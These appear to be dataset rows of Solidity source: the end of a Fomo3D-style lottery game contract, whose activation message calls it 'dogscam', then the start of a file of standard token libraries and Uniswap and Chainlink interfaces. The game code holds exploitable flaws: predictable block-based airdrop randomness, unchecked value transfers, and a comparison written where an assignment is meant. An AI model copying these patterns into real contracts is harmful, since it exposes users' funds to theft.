isWithinLimits(_eth)
public
{
LDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
LDdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MonkeyEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit MonkeyEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MonkeyEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MonkeyEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MonkeyEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(45)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_,
airDropPot_
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MonkeyEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, LDdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MonkeyEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID].keys = _keys.add(plyrRnds_[_pID].keys);
plyrRnds_[_pID].eth = _eth.add(plyrRnds_[_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(40)) / 100;
uint256 _com = (_pot.mul(30)) / 100;
uint256 _queen = (_pot.mul(10)) / 100;
uint256 _gen = (_pot.mul(20)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(monkeyKing).call.value(_com)())
{
_gen = _gen.add(_com);
_com = 0;
}
if (!address(monkeyQueue).call.value(_queen)())
{
_gen = _gen.add(_queen);
_queen = 0;
}
round_.mask = _ppt.add(round_.mask);
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID].mask = _earnings.add(plyrRnds_[_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
returns(LDdatasets.EventReturns)
{
uint256 _com = _eth * 15 / 100;
uint256 _aff = _eth*25 / 100;
uint256 _toqueen = 0;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit MonkeyEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += (_aff*80/100);
_toqueen += (_aff*20/100);
}
if (_toqueen > 0) {
if(!address(monkeyQueue).call.value(_toqueen)()) {
}
}
if (!address(monkeyKing).call.value(_com)())
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, LDdatasets.EventReturns memory _eventData_)
private
returns(LDdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(15) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, LDdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MonkeyEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0xb75603Fd0B0E55b283DAC9A9ED516A8a9515e3dB ||
msg.sender == 0x029800F64f16d81FC164319Edb84cf85bFf15e80,
"only owner can activate"
);
require(activated_ == false, "dogscam already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library LDdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library LDKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 82 |
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping (bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = toDeleteIndex + 1;
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
struct UintSet {
Set _inner;
}
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
